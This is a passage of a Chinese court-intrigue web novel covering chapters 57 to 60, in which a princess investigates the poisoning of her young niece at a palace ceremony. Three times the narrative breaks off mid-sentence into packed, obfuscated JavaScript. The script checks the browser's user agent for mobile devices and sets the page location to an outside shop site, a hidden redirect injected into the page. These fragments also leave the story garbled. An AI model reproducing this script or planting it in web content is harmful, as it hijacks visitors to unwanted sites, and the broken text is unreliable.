闻言,沈磐四肢一僵,刚要松开这个逐渐捂热的怀抱就又被张永一按住。 他埋头在她的耳畔,声音闷闷,“我会自己走的,不用赶。” 沈磐呼吸一窒,仰头用嘴唇蹭蹭他的下颌,“怎么了?” 张永一加深了这个抱。 两个人沉默地抱了许久,等沈磐因为这一整天的波折而在他的怀里有些要睡过去的感觉,张永一这才开口:“磐磐,我爱你。” 沈磐轻笑:“我知道,我一直都知道。” “我也知道。” 沈磐摸摸他的肩,“嗯,我胳膊有些酸……” 张永一这才松开力,那封信便又出现在沈磐眼前。 “我……我要去检查一下长缨卫的布防。” 沈磐点头,不妨顺手地接过了张永一手中的信。信不知什么时候已经被人抽了出来,她本着非礼勿视的观念不打算窥伺张永一父母的感情生活,可开头第一句就像钩子,勾着她失礼地要将全篇读完。 此绝笔也,见信时,吾已入鬼箓。 沈磐一怔。 这就是张永一失魂落魄的所在。 张养元夫妇明面上是父母之命、媒妁之言,两个人的结合实在是各种逼迫,但实际是张养元一眼相中,回家求了梁国长公主夫妇前去提亲。张养元自己也知道,他心心念念的夫人并不钟情他,但他自白说,那时候年轻以为天长地久有了感情,他们便也能两情相悦、白头偕老;但后来哪怕有了张永一,为了张永一,他们成为别人眼中琴瑟和鸣的一对佳偶,他依然探不到这日久生情之情有多少对自己的爱情。 见自己的心爱之人一天天备受折磨、郁郁寡欢,他自觉愧疚,写下了放妻书愿听凭她重觅良缘,但一念及有了张永一,自己还是耽搁了她、拖累了她,悔恨无极。如今他箭伤复发,自觉时日无多,恐怕熬不到回京之时,也不希求能得到她的原谅,只愿自己下辈子能有机会为她牵马行路,送她得适所爱。 沈磐不知道自己在想什么,站在那里拿着这封信许久未动,等到张永一去而复返,她这才咂摸出那字字艰难中、暌违多年的诀别苦味。 “该吃饭了,走吧。” 张永一朝她伸出手。 沈磐拿着那封信递出去。 可张永一牵上的是她的手腕。 触及沈磐眼中的哀沉,张永一轻声道:“那年母亲卧病,我在家里陪她,等西南的信送回,母亲早已病故。信上说,他受了箭伤,感染有些严重,后来经过一位姓肖的神医的救治后有所好转,现在一切都好,他马上就能得胜归来,让我们再等等他,他马上就能回来。” 然后送回化隆城梁国公主府的,就是张养元的棺椁。 张永一继续说道:“云将军说,这箭伤是以前的了,反复感染,那神医万般叮嘱,要他好好休息,但军情紧急,他还是又上了战场……” 所以,这也算他自己种下的因果。 他从前只以为父母关系冷淡,是因为各自有各自的忙碌,各自又有各自的矜持,后来又以为这般相敬如宾便是人间男女最好的结果,总归他们对自己是极尽宠爱,总归他们都爱自己。 现在知道了根源,他不想做什么评判,唯一的感悟应当就是对沈磐说的那句,“磐磐,我爱你。” 他只需要知道,张永一爱沈磐。 他不需要一句,沈磐也爱张永一。 从前汲汲的结果、求不得的结果、可望而不可即的结果,现在都不再重要。 张永一包住她的手。 现在才是最重要的。 “嗯?” 张永一低头,正乱想着,就看见因为自己的这番扒拉,沈磐的袖子里掉出了什么东西。他弯腰伸手捡起,胡乱一扫,就看见信的末端大剌剌写着嵇阑的名姓。 他没有名分,他也不再求一个名分,所以他也没有资格去醋,但不能否认,看见这两个字他心里就一阵泛酸。 沈磐一扫他紧咬的腮帮,不禁笑道:“嵇阑在家里造谣,说他的弟弟嵇阙和他爹嵇阀的心腹解佳胤是亲父子,解佳胤又是和嵇阀一起陷害卢兰的密谋者,还娶了嵇阙的姨母。现在嵇阀怀疑是他搞鬼,三番五次给他警告,所以他只能用这种方式传信。” “看来他的境况不妙。” 说起正事,她抛了先前的多愁善感、继续笑道:“倒也未必。若我是嵇阀,长子养成了这个样子,不是胳膊肘往外拐,而是帮着外人要自己的命,若不早些把他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124254|192089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处理了还要遗祸全家。现在只是警告,或许表明,嵇阀有些信了呢。” “嵇阑是忠义侯世子,手上还有虎贲卫,哪怕是亲爹也要忌惮他几分。” “子要弑父,万般艰难,父要吃子,何其容易。”沈磐的笑冷淡几分,“嵇阀用一个本该花在齐家身上的承诺救下了嵇阑,不然就凭嵇阑的这些操作,他还能安稳地当虎贲卫指挥使?虽然可能是投鼠忌器,嵇阀总要顾及着嵇阑是自己的继承人,但他们父子的隔阂不是一日两日,在嵇阑手中无人之时他为何不去下手?他在忌惮什么?忌惮嵇阑是自己血脉的那一点点可能?” 沈磐的笑彻底凉了,“他又不是只有这一个儿子,死一个不听话的也没关系。” 张永一背上一凉。 二月还是春寒料峭,天黑下来后更冷比隆冬。 沈磐:“若嵇阑死了,他的异母弟弟嵇阙就是唯一的继人,爵位、功名、家财全都是他的,当爹的嵇阀也不用担心给别人做了嫁衣裳。所以只有嵇阑死了,他家里的人才能获得最大的利益。可现在嵇阑没死,还弄出了这么多动静,给嵇家找了不少麻烦,可嵇阀只是一味地警告。我实在想不明白,嵇阀这么瞻前顾后究竟是为何?” 张永一也没法解惑,只能听沈磐冷笑:“嗐,这为人君父的,一个个都别有心肠。嵇阑还说,他弟弟嵇阙入了阴阳卫,与乔颐光、韦如洋等人做同僚,一起步就是个佥事,看来陛下和嵇阀这对君臣的关系真是顶顶融洽。” 她一个兀自边走边说:“而这个江之万,就嵇阑所说,他对顶替了他位子的乔晏心有不满,不不不,这不是心有不满,而是怀恨在心。细想想,是陛下想做人情,所以他遭了殃,这账要算,怎么算陛下也要被算进去,他未必会站陛下那里……若他是南越将军,那就是云信中的顶头上司了,或许可以通过云勉去探一探江之万的态度……他不支持御书房,霍辄是棵常青树,虽然没有去过西南,但天下武将谁不服他?江之万油盐不进,总该给霍辄几分薄面……云勉在锦麟卫,在霍辄手下做事……” 沈磐正被化隆城这盘根错杂的关系折磨,不妨自己一门心思钻研得太久,把张永一忘在了身后。 她驻足回头,果见张永一略带幽怨地望着自己。 沈磐一哂,还记得张永一今日心情低迷,便走回去握住他的手,扬唇笑道:“嵇阑说,李闻达的儿子李圜要迎娶梅家女,是户部小梅尚书的女儿,他现在名声不好,又被禁足家中,要托我给李闻达送礼,以免沾了他的晦气。他们这对忘年交真是好笑,互相约为婚姻,现在要送礼贺喜还要假借旁人之手……” 知道这些都是沈磐和嵇阑两个人之间的秘密,而今沈磐愿意向自己多说,该是多大的信任,对他而言又会是多大的荣幸。 可张永一还是高兴不起来。 哪怕他能明显地感觉到,沈磐在哄他。 沈磐捧起他的手,他却将嵇阑的信递出。 心中无奈,沈磐重收了信,又将张养元的信还给了他,这才板起脸一本正经道:“该用膳了,张指挥使与本宫不能同席,便送到这里吧。” 张永一才有些荡起的心又沉了下去。 突然,他眼前一花,再一眨眼就看见沈磐的脸出现在眼前,呼吸缠绕,眼神更如同拧在一起的绳子,套上了他的脖颈。 嘴唇上一热。 沈磐又亲亲他的唇角,“好了。” 好了,这下他成了无理取闹的那个了。 张永一低头,沈磐便又续上了这个吻,直到她有些换不过气,这才别过脸埋到他颈间问:“本宫容许你算账,就看你今夜算不算了。” 张永一耳根一烫。 可是忽然,身后有个老头轻咳一声,两个人就如同花前月下、私定终身的野鸳鸯被抓了包,顿时撒开对方故作忙碌地整理形容。 崖然呵呵笑:“碰到了正好,来,让老道把个脉,看看这些日子公主调养怎么样。” 沈磐尴尬地伸出手,见崖然不过是并了手指随便一探,就板着脸把他们两个一起训斥:“年轻人!过犹不及的道理听没听过?” 说着他便哼哼地略过木楞原地的两人嘀嘀咕咕:“真是的,再这样胡闹下去,好好的阳虚就要变成阴亏,白瞎了老道那么多好药,现在的年轻人真是一点也不懂得节制……” 58. 第五十八章 不刊信(二) 十五之期终于来到。 皇室礼节向来繁琐,好在永济帝一心只扑在他的宝贝陈王的册封礼上,对于沈斫的冠礼一省再省,倒也免去不少麻烦。 皇子冠礼,一切如皇太子仪。 《大楚礼》定,皇子冠礼之次日,百官称贺毕,诣西直门东庑序坐,常服四拜。但考虑到新晋的兖王殿下需要随兄弟入庙祭拜先祖,永济帝便将百官行礼的地点改为了宫前殿。 燕王携幼弟兖王登坛受拜,兄友弟恭、其乐融融,沈磐看不得这个,大礼一结束便牵着沈仪璩兄妹往边上走,免得破坏了老皇帝处心积虑搭建的这出虚伪的皇家兄弟情。 其实兖王本身没有问题,沈磐倒也不是不喜欢他,只是见到兖王就要见他舅舅霍辄,见到霍辄她便会想到永济帝那张令人作呕的脸。 幸而今日,永济帝不会出现,至多只有大太监代表他给群臣送来内廷的赐酒。 今日来的是律林,是永济帝远避五柞宫都要带着的老人,据说在永济帝还是个不起眼的亲王时,律林就跟在他身边了。这是个谨小慎微的,身在权力中心却对权力毫不染指,往常多有对陈王和燕王捧高踩低的,独有他,比当爹的还要一视同仁。 沈磐对他的印象一直不错。 在场所有人,便是霍辄,也要对他礼让三分。 照常,入口的东西都要再三验过沈磐才会允许沈仪璩兄妹食用,就是今日的赐酒也不例外。但当面验毒总归是对送酒者的一记耳光,沈磐本不怕得罪任何人,且她觉得律林他老人家的心眼若有这么小,早不知在喜怒无常的永济帝身边怄死多少回了。 但律林办事总出乎意料又在情理之中。 他当面验毒。 当着文武百官的面。 一视同仁地验毒。 当然,也有要卖个人情送份抬举的,不待小内监取出银针便接过金盏。 沈斫没有这个心思,却是因为与房桂稻等人聊得畅快,这便顺手端过了尚未验过的金盏。 但沈磐长了眼睛。 沈斫轻声叹道:“姐,倒也不必这么小心,这众目睽睽,金盏又是一模一样的,就算要下毒也下不准……” 沈磐抬眼横他,他顿时噤声。 验完后,沈磐这才放手,刚要回过去找沈仪璩等,就见这人墙中一抹佝偻的背影十分熟悉,像是启新殿后殿花木丛里的那道堪够她半身侧入的裂隙。 沈磐几步追上去,却还是被宫前殿的人流阻住了去路。 听得沈仪璩那边略有骚动,沈磐即刻走了回去。 “怎么了,人仰马翻的。” 元亨捡起地上的金盏,刚要抬头解释,沈仪璩就抢先道:“是璩儿不小心,打翻了赐酒……” 沈磐看向一边满脸愧疚紧张的玥儿,顿时了然,便牵过玥儿,俯身看她被酒水打湿的裙摆,“湿了,去换身衣裳?” 玥儿拉着她的手,轻轻道歉:“姑姑,对不起,是我打翻的……” 沈磐扬唇,“这有什么,又不是什么大事,刚好你哥哥岁数小,也不能喝酒。你呀,当然也不能喝啦,若是嘴馋,想知道酒是什么味的,你私下和姑姑说。” 元亨叹息:“一会儿祝酒,小殿下本是要跟着燕王爷一起的,这翻了祝酒都是奴婢的错……” “与你无关,别到处揽罪,翻了一杯再取一杯就是,本宫近来身上不爽利,太医说不宜饮酒,便喝我的也无妨。”说着,沈磐牵着玥儿直起身,正要招来在一边和他堂兄张绰说话的张永一,沈斫便走了来。 “怎么了?酒翻了?没事——”他端着自己的金盏,弯下腰摸摸玥儿的脑袋,又朝沈仪璩笑道:“喝我的,只允许一小口,你年纪小,陛下赐酒本意是让所有人都沾沾喜气,你喝一口就行了,心意领了就好。” 说完,沈斫还觑了沈磐一眼,附耳向玥儿说道:“你也可以喝一口,悄咪咪的,没事。” 沈磐看他们叔侄三人合计到最后每个人都满面喜气,已然驱散了先前蔓延的惭愧,她心中无奈,抬头见元亨也终于露出了宽慰的神色,她顿觉一股暖流游遍心脉。 大太监律林登台唱贺,殿内一静。 沈磐听这些无聊之词听得心烦,不妨抬头就看见了张永一,两人目光一触即散,却如同针入正穴,开筋松骨,瞬息消解了她心里的烦闷。她便有心思去一一捉摸今日到场的每个人脸上的神情,或是难抑的兴奋,或是难抑的紧张,或者四面张望、八方探听、忙得汗流浃背,或者面色如土、冷厉如霜、强装镇定。 她看见最新奇的是,那一向能在文人中如鱼得水的兖王,此刻焦灼得成了锅上的蚂蚁。他身边的霍辄显然是淡定从容的,从容得脸上根本没有任何表情,只有常年的威吓从那眼罩中弥散。这一对比衬托,兖王便轻浮得像是即将被火燎到的一张白纸。 这很奇怪。 贺词唱毕,众人纷纷举杯。 沈磐不喝酒,只端了茶装模做样,不妨看见对面的兖王也不喝,死死盯着自己这边,像是这里有谁抢了他的宝贝,恨不得摔了杯子就冲过来夺。 霍辄率先喝完赐酒,抬肘一拦,刚好碰上沈磐的视线。 他的视线冷冷的,依然没有什么情绪。 众臣大多品过了赐酒的滋味,纷纷放下金盏。殿内还是极静的,他们或出于自身的教养、或出于此刻的心境,无一人敢大声掷杯,沈磐随大流放下茶杯,忽然就听得“咣当”一声—— 一瞬。 两瞬。 三瞬。 殿内的人都是一愣。 沈磐心跳一漏,猛地一回头朝那巨大的响动处看出。 “玥儿!妹妹你怎么了!” 沈磐四肢冰凉。 沈仪璩怀里抱着的玥儿正止不住地呕血,呕出来的又全是黑血,一眨眼就洇湿了她纯白色的衣领。 在他们身边,那翻倒的金盏还在地上打转。 “太医!叫太医!”沈斫推开挤在他身前的人冲了过来,打横抱起了玥儿就要往殿外冲,可他才抢过人,方才还因为剧痛而眼泪不止的玥儿就没了气,僵硬抽搐的四肢也霎时间软了下去,独独她一双水洗过的眼睛还无辜地大睁着。 “玥儿!” 沈仪璩爬起来跑了没两步又摔了下去,直朝着沈斫怀里的妹妹大哭不已。 沈斫几乎抱不住沈仪玥的尸首,但他怕摔到她,宁可跪痛了自己腿也不让她落地,这就一下子撞到了金銮柱上。 沈磐站不住,眼前一阵眩晕。 两耳嗡嗡作响,如同被自己过分小心中的粗心大意扇了个响亮的耳光。 死了。 沈仪玥死了! 太子夫妇留下的血脉被人毒死了! 沈磐深吸一口气,一口气里全是血腥。 但这杯酒本来是沈斫的! 她睁眼,双目赤红。 张永一扶住了她,却扶不住她能掀开宫前殿屋顶的恨意。 恨啊,哪怕是君父逼死了太子,她也没有这么恨过。 落水、毒蛇、恶犬,一而再、再而三!为了这个皇位,儿子、孙子、妻子、臣子,一而再、再而三! 沈磐回头,目光直刺向被这一幕惊得腿脚发软的兖王。 他就是被选中的那个,可以高枕无忧坐等天下的那个! 巽懦无知的那个! 张永一不动声色地扯了扯沈磐盖在袖子中的手,以防她一时间被恨意冲昏了头脑,大庭广众下做出什么冲动的事来。 沈磐垂下眼。 那边群臣里卿澈走了出来,“出了这样的大事,烦请律总管禀告陛下,请陛下前来主持公道!” 律林即刻应下。 边上方继昌指挥道:“既然是宫前殿里出了事,那就让羽林卫先将大殿封锁,将进出过宫殿前的内监、宫女一一提来问话。” “陶寺卿,阮侍郎!” 陶识礼等人应卿澈的声音走至中央,却被方继昌抬手一拦,“这是后廷事,外臣不便插手——” 卿澈语中带怒:“这是宫前殿不是后廷!中毒的荣安小郡主是东宫的遗孤!首辅大人,事关储位,我们是外朝之臣,更是大楚的臣子,如何能坐视不管!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17131897|192089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 众人鸦雀无声。 方继昌轻哼一声,退后一步,卿澈瞪了他一眼,不,卿澈瞪了他身后的嵇阀一眼,旋即朝陶识礼和阮折纭道:“二位督掌刑狱,下毒之人用心歹毒,此案关系国本,还望二位尽力勘破!” 卿澈这番越俎代庖的话一出,天下人都知道了天官尚书和当朝首辅在储君立场上竟然有着天大的龃龉。方继昌明显是要和稀泥的,大事化小、小事化了,不然他就对不起永济帝驱逐了冉琢明等后给他的一番铺路,而卿澈作为永济帝从南海道请回来的外援,理当和方继昌同仇敌忾,在这样下毒谋害天家血脉、谋夺储君之位的大案里,这样两个人并肩站在大楚朝廷最顶端的重臣理当携手共进,为永济帝看重的兖王保驾护航。 但今天的他们,却站在了楚河汉界的两边,有水火不容、你死我活之势。 沈磐沉下心,在等待太医的这段时间里,将此二人鲜明的态度反复咀嚼。 流血宫变时,张绰带着张家人去襄阳侯府护卫了躲匿于此的皇太孙,免去了霍轶的屠杀,故而事后清算,永济帝迫于这样的恩情将张绰提拔到了羽林卫指挥副使的位子上。 今日统管宫前殿的,就是张绰。 太医从外城赶到时,张绰就将今日宫前殿中所有的内监、宫女都赶了出来,一批批地筛,最后接触过赐酒、金盏、验毒的内监就全被留在了殿上。 后廷里侍奉外臣的大多是年轻的小内监,故而一群人里,那个上了年纪、脊背佝偻的老内监就像百鸟朝凤图上被烧穿的那个洞一样扎眼。 沈磐一眼就认了出来,不禁冷冷道:“这不是从前霍夫人宫里的梁少监嘛?这么多年,原来少监大人去酒醋面局了?” 此言一出,殿内霎时如狂风过境、鸡犬不留,一片死寂。 片刻,得到上司首肯的大理寺少卿萧蘋肃穆问:“本官修习《掖廷律》时,曾闻贵人宫中的掌权内监,在主子西去后全都要去紫微宫陪陵守陵,梁少监既然是霍夫人宫里人,怎么可能再出现在宫前殿上侍奉酒水?” 刑部侍郎阮折纭点头附和:“确有此条律令。” 那老内监浑浊的眼珠微动,慢吞吞回道:“回大人的话,奴婢是蒙陛下恩准,故而有幸留在掖廷。” 卿澈眼神一闪,正好听见太医那边说道:“酒中无毒,这鸩毒是抹在杯口的!” 萧蘋高声道:“查他的指甲!” 张绰亲自上前抓住那老内监缩在袖筒里的手,十个指头的指甲竟然平平整整,绝无藏药的可能。 萧蘋仔细看了,“断端粗糙,这是才割去的。” 话音一落,那边太医又道:“这只金盏上也抹了鸩毒!” 沈磐抬眼看去,一只是沈斫的,一只就是沈仪璩的。 阮折纭道:“梁少监既然是今日赐酒、验毒的总领,那便说说这每一盘金盏究竟由何人负责?” 老内监闷闷道:“这些金盏一模一样,奴婢怎么可能知道他们谁端这盘、谁送那盘,大人莫要为难奴婢。” 萧蘋冷笑:“你不记得?那你这个总领是怎么当的?盘子里的金盏一模一样,数量也有定额,宫前殿比不了岁末宫宴,但在这里送酒也要讲究先后顺序,送给皇太孙和燕王的那盘难道没有专人负责?” “既如此,那让他们自己来认。”阮折纭朝向跪了一地的小内监。 萧蘋点头,指着跪在最边上的一个小内监问,“你说。” “奴婢侍奉的那盘是送给首辅大人、卿尚书、陶寺卿,还有两位梅尚书的。” 萧蘋再指他身边那个。 “奴婢是给几位指挥使大人送酒的。” “奴婢是给五位御史大人验酒的。” 问到最后,萧蘋盯向那仍然“故作淡定”的老内监,“那么,燕王殿下和皇太孙的那盘,究竟是谁送的呢?” “那就是奴婢。” 宫前殿里的气氛变得凝重起来。 久不开口的陶识礼出声:“搜身吧,顺便派人将他的铺盖也搜一遍。” 张绰刚要吩咐下去,就听殿外吆喝声起:“陛下驾到。” 59. 第五十九章 不刊信(三) “怎么,查出来谁是谋害朕孙女的凶手了吗?” 礼毕众人起身,陶识礼禀告:“回陛下,此内监有重大嫌疑,需要继续详查。” 永济帝一扫那颤颤巍巍跪在地上的老内监,“那就下诏狱,让三司好好地查。” 陶识礼缓缓闭眼,萧蘋霍然抬头,却听沈磐抢白:“下诏狱?这恐怕不妥吧?传出去,黎民百姓不懂陛下的良苦用心,还要污蔑霍大将军有徇私包庇的嫌疑。为了霍大将军的清白,也为了兖王弟弟的安宁,臣看还是下刑部狱吧。” 萧蘋刚要应和一声“附议”,就见永济帝冷森森睨着沈磐,“长平,你倒是说说看,朕究竟怎么个良苦用心。” 沈磐掀唇,“霍大将军出淤泥而不染,一心只忠于陛下。古有言,千里马常有而伯乐不常有,陛下是百年难遇的明君,是霍大将军的伯乐,当然要用心给霍家洗清污名、让大将军证明自己、扫除朝中的流言蜚语,还大楚社稷朗朗乾坤。” “呵。”永济帝一笑,纵横捭阖几十年的帝王蔑视便止不住地漫溢出来。他转身走向沈磐,“说得好,不愧是长平,洞察我心。” 沈磐一垂眼睫,虚伪浅薄地装出一副受了君父夸奖后的窃喜模样。 “那就下刑部狱,刑部无尚书久,群龙无首一团散沙,实在不像话!阮折纭,这桩案子办好了,你就是刑部尚书。” 被突然点到的阮折纭一愣,即刻跪到中央拜倒,“臣不敢贪分外之功,只愿尽臣所能、为陛下前后驱驰。” 对于阮折纭来说,这绝对是祸不是福,而且是灭顶之祸。 一直斗志昂扬的萧蘋心里一个咯噔,那边御史堆里的李闻达不禁倒吸一口凉气,便是一直哀沉于玥儿之死的沈斫和沈仪璩叔侄,都不由背上一寒。 永济帝这是要处置阮折纭! 沈磐想得到阮折纭被轻而易举收拾掉后,永济帝就要收回刑部,收回了刑部,三司便再也不是曾经冉琢明和梅依径执掌的那个坚不可摧的法司利器。这满朝文武不是大多替皇太孙和燕王说话么?其中叫嚷得最凶最吵的莫过于三司!那就让他们自己乱起来,剩下的户部、兵部早就被渗透成了筛子,这样的朝廷还有什么值得畏惧的? 毕竟当了几十年的皇帝,万万人之上驾驭天下,便是春秋不再、年老体衰,弄臣弄权依然是他作为皇帝的看家本领,作弄人心、操纵朝局,只需要简单的一句话。 沈磐再度沉下心。 既然如此,那就将这缸水搅得更浑,让这搅起来的漩涡直接将搅弄风波的人也卷进去! 沈磐半步上前,“阮侍郎最是公正,满朝上下无人不服。此案中,歹人不仅要谋害皇储,还要离间皇家骨肉亲情,用心极其险恶!这梁少监毕竟是霍夫人宫中的老人,与兖王弟弟息息相关,不妨就趁此机会,委屈兖王弟弟也去刑部走一趟,让阮侍郎也还你一个清白。霍大将军是陛下的肱股,也是朝廷的栋梁,断然经不起任何揣测,兖王弟弟你身上的污点洗干净了,民间眼红大将军的流言蜚语便不攻自破,大将军也好放心安卧。弟弟你看如何?” 霍辄拧眉,不知何时走至永济帝身边的嵇阀刚要激愤开口,兖王便畏缩支吾地应下:“多谢长平姐姐的指点,既然梁少监是母妃宫中的人,我理应去一趟刑部自证清白。” 沈磐眉梢一挑。 鱼儿不是咬钩,咬的也不是直钩,钩上更连一点诱饵也无,这傻鱼是直愣愣撞钩来了。 愿者上钩,这就怨不得旁人捉了你抽筋剥皮。 沈磐眉头一压,看向已然被莽撞的兖王气得头疼的永济帝。 皇帝还是老了,彼时的清明只能支撑一会儿,就像是稍微落几点雨、就整宿整宿疼得停不下来的膝盖。 律林搀住永济帝,朝方继昌使了一个眼色,方继昌便道:“既如此,这便由你主审此案,还望尽快——” 永济帝强撑着逼迫:“三日为期,要快快让朕的孙女瞑目!” 三日。 众人的眼神又变了几遍。 被长平公主反将一军,永济帝是等不及请君入瓮、温水煮青蛙了。 阮折纭汗如雨下。 ** 兖王是霍辄亲自送去刑部的。到底是亲舅舅,性命相关、荣辱与共,霍辄要和兖王多说几句话,阮折纭不好拦,但派了人在边上全程记录。 霍辄对此没说什么,他和兖王的对话也乏善可陈,只是简单的关照,让兖王在刑部狱里好好照看自己。 这番话被阮折纭翻来覆去嚼烂了,都没有尝出半点不同寻常的含义。好在,去掖廷搜查的手下有了些许收获,从那老内监的杂物里翻出了半包还没用完的鸩毒,再顺藤摸瓜地一查,最后这鸩毒的来源居然摸到了早就死在五柞宫的太医施汜身上。 这就好办了许多。 施汜勾结霍轶毒害陛下,在五柞宫就地正法,他阮折纭若要快快保下自己的项上人头、头上的那顶乌纱帽和一身三品冠带,那就即刻将所有罪责都推到施汜和霍轶身上,反正人死都死了,不利用一下甚是可惜;且这样一来便又摘干净了兖王和霍辄,还给东宫送出了一个合理的答复,两边都不得罪,两边都勉强过关,接下来就是八仙过海各显神通,长平公主等再要怎么与兖王斗法就通通与他的安危无关。 迫于愈演愈烈的局势和家族生存的压力,阮折纭差点就动了这样的心思。 沈磐很能理解。 这不能怪他,毕竟对于阮折纭来说,这就是无妄之灾。 但就如那时她拿着“除秽剑”“威逼”冉琢明写下“矫诏”时说的那样,所有人都有退路,哪怕是冉琢明也有南海道这条退路,被逼上悬崖不得不背水一战的只有东宫一家。 而今东宫已不成家。 她也曾怨过太子的草草了结,留下一对儿女和她与沈斫苦苦坚持。 但她还是怨不起来。 向前是死拼,向后是死路。 个人的选择不同。 兖王甫一下狱,第二日就有不知全貌的文人士子为他喊冤,当然也不乏趁火打劫的。 李闻达就是一个。 十五封王之后,内阁本定要让兖王充当此次春闱的左右副考之一,如今出了这样的大事,就算不提清白如何,仅仅“瓜田李下”四个字就能薅掉兖王初次登台、培植势力的机会。李闻达揪结一帮御史便如是上书,要求兖王避嫌,也顺嘴催促刑部快快决断。 永济帝当然不答应。 但首辅方继昌无有不同意的道理。 既然方继昌同意,没有多久永济帝便会答应,不过有个条件,那便是此次的主考官不再由梅依径的侄子礼部尚书梅洐担任,而是将遴选天下人才的权柄归交到吏部尚书、内阁首辅方继昌手中。 方继昌才与卿澈有了口角,两人站队泾渭分明,卿澈或许不站皇太孙,但方继昌是必定在支持兖王。 局势好像一目了然。 “公主!我堂兄张诚识传信,说十五那天封王大典,有羽林卫看见梁纪曾给兖王送了一封信!” 沈磐眼前豁然开朗。 她以“清白”二字拉下兖王,又要让阮折纭还他“清白”,实际上不过又是要走个过场,任谁也不敢信这晕晕乎乎缺根筋、更缺心眼的兖王会和“阴谋”二字扯上关系。但若是兖王和老内监梁纪有过往来呢?有过往来的证据呢?只消拿到证据这杆笔,还怕写不出兖王狼子野心的下文? 沈磐深吸一口气。 张永一也神情紧绷。 光靠羽林卫的口供远远不够,必须要拿住这封信。最坏的打算就是兖王读过信后就将证据烧了,但这也不失为一个向梁纪严刑拷打的机会。重刑之下,什么样的口供拿不到?况且此案交予阮折纭主审,刑部大门一关,谁知道里面发生了什么。 一念及此,沈磐浑身的血液开始沸腾,但她看见,张永一正端详着自己,那一双透彻的眸子里倒映着自己压不住的扭曲。 屈打成招,这种法子居然也会被自己采纳。 沈磐禁不住自嘲。 要是让张永一知道自己在想些什么…… 沈磐不敢想。 但她还在想,若是沈斫知道了她的这番算计…… 坊间人说,善恶有报,不是不报,时候未到;还有什么公心正义会缺席,但不会迟到。 可是她等不了了! 她不是没等过,但等来的只有至亲的血。 常人总认为世上有着绝对的正义,不然仰头望天,一辈子受尽委屈也没有指望。 沈磐眼神一暗。 他们该适应的,这个世界从来都不如他们还在襁褓中时想的那么干净简单。胜者王侯败者寇,待到一切了结、尘埃落定,自有大儒为他们辨经。 沈磐阖眼,再睁开时,张永一应当会觉得自己突然就不认识她了,又或者他从没有认识过这一面的沈磐,再或者他早见过这样嗜血的眼眸却因为这短暂的欢愉安定而忘记了,他怀中再温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他撑着掌心,膝行至牢门,厉声质问:“可是你呢!你在做什么!被所有人推着走、走到了这一步,你心里还怨恨呢,怨恨所有人都逼着你,让你当不成那个青史留名、干干净净的霍大将军!你心中怀恨,独独对最该恨的人俯首帖耳!你的血性呢!你的骨气呢!你配当这个大将军吗!” 余音不绝,还在逼仄的牢房里回荡。 霍辄吐出一口气,好像终于带上了点情绪,可惜,这叫无奈。他道:“他对我有知遇之恩。” “她对我是救命之恩!” 梁纪顾不得手上的痛,顺着铁栏杆爬起,“救命之恩啊!我就算杀不了这烂毒心肠的恶人,我能杀了他的侄子、他的儿子、他的孙子孙女,我也难报此恩啊——知遇之恩?哈,你以为你这大将军是怎么来的?没有你妹妹!你当得上吗!” 霍辄眼底才泛起来的波澜再度平息,语气平平:“所以你来逼我。” “是!今天我们的谈话,会一字不差地传到他的耳朵里!知道了真相,他还会容得下你吗?好,你可以不顾自己的死活,那你外甥兖王的生死呢!虎毒不食子,可他连自己宠了半辈子的儿子都能杀!” 霍辄的表情有一瞬空白。 两个弹指过后,他倏尔睁大眼睛。 但让他更加震撼的还在后头,梁纪狰狞道:“我写了封信给他,嘱咐他说,这是他母妃留下的……那是他母妃的‘亲笔’,他怎么可能舍得烧掉,必然会奉若珍宝!” 霍辄攥上了他的脖颈。 原来如此,一切都解释得通了,沈礴在宫前殿那一番恨不得以身相替的举动,原来是听了这样的蛊惑!沈礴是什么德行,天下人有目共睹,梁纪最终还是在逼自己,逼着自己为了这样那样的羁绊、这样那样的愧疚而要去杀了他的明主。 原来如此。 霍辄终于还是松开了手。 他退后的一步有些不稳,但很快找回了感觉,大步流星地回头就走。这处地牢阴得很,墙上的油灯也虚弱得很,霍辄要穿过前方的拱门沿着台阶往地上走,不妨看见拐弯处的黑暗里像是站了一个人。 这没什么好大惊小怪的,会有人监听这是早就做好的准备,至于接下来的应对? 他从不需要应对。 但那是个穿着全黑斗篷的女人,斗篷下露出的半张脸上,还有一个淡若白水的笑。 霍辄止步。 60. 第六十章 不刊信(四) “觉得自己不值得的人,永远不会相信世界上还存在一个永远坚定选择他的人。” 霍辄垂下视线,只看得见沈磐说话时的嘴唇,细细长长如同一叶飞刀。他们是亲父女,不仅嘴唇长得相似,说出来的真话也是一样的刻薄尖酸,刻薄尖酸得不像是真话。 沈磐轻笑:“很不幸,他就是这样的人。” 霍辄不说话,抬脚要走。 